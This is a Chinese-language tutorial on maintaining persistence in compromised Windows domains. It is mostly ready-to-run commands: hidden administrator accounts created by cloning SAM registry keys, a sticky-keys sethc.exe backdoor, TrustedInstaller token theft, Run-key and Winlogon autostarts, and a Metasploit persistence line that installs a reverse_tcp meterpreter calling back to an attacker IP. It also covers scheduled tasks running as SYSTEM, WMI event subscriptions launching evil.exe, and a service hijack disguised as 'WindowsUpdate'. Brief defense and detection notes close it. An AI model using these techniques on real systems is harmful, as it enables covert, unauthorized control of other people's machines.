Windows域内权限维持技术详解
一、隐藏账户技术
1.1 创建基础隐藏账户
net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add
特点:
- 通过
net user命令不可见 - 在控制面板和计算机管理中仍可见
1.2 进阶隐藏技术(注册表操作)
-
修改注册表权限:
- 定位到
HKEY_LOCAL_MACHINE\SAM\SAM - 给Administrator用户"完全控制"权限
- 定位到
-
复制用户配置:
- 找到Administrator对应的
000001F4目录 - 复制其F键值到隐藏账户的目录(如
000003E9)
- 找到Administrator对应的
-
导出并删除账户:
net user whoami$ /del
4. 重新导入注册表项
最终效果:
- 在命令提示符和用户管理界面完全不可见
- 仅在注册表中可见
## 二、Shift粘滞键后门
### 2.1 基本原理
- 替换`C:\Windows\System32\sethc.exe`为cmd.exe
- 五次Shift键触发获得SYSTEM权限CMD
### 2.2 手动实现方法
```cmd
cd c:\windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
2.3 绕过TrustedInstaller保护
- 启动TrustedInstaller服务:
sc.exe start TrustedInstaller
2. 窃取令牌:
use incognito
ps
steal_token
getuid
### 2.4 Empire自动化实现
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName <主机名/IP>
set TargetBinary sethc.exe
execute
## 三、注册表后门技术
### 3.1 常用注册表键
1. 开机启动:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
2. 登录启动:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
3. 其他可用键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
### 3.2 手动创建方法
```cmd
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v backdoor -d 'C:\windows\system32\backdoor.exe'
3.3 Metasploit实现
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129
参数说明:
-U:用户登录时自启动-X:开机自启动-i:连接间隔时间-r:攻击者IP-p:监听端口
3.4 Empire实现
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
四、计划任务后门
4.1 at命令(旧版Windows)
net time
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
4.2 schtasks命令(新版Windows)
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
参数说明:
/sc:计划类型(minute表示每分钟)/mo:间隔时间/ru:运行权限/f:强制创建
4.3 SharPersist工具
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
4.4 Empire实现
usemodule persistence/elevated/schtasks
五、其他持久化技术
5.1 WMI事件订阅
# 创建事件过滤器
$filterArgs = @{
EventNamespace = 'root\cimv2'
Name = "BotFilter82"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = "WQL"
}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
# 创建事件消费者
$consumerArgs = @{
Name = "BotConsumer23"
CommandLineTemplate = "C:\Windows\System32\evil.exe"
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
# 绑定过滤器和消费者
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
$binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
5.2 服务后门
sc create "WindowsUpdate" binPath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
sc config "WindowsUpdate" binPath= "C:\Windows\System32\evil.exe"
sc start "WindowsUpdate"
六、防御建议
- 监控注册表关键位置变更
- 定期检查系统计划任务
- 限制TrustedInstaller权限
- 使用文件完整性监控
- 禁用不必要的WMI事件订阅
- 定期审计系统账户
- 实施最小权限原则
七、检测方法
- 隐藏账户检测:
wmic useraccount get name,sid
2. 计划任务检测:
```cmd
schtasks /query /fo LIST /v
- 注册表后门检测:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
4. 服务后门检测:
```cmd
sc query state= all
- WMI后门检测:
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding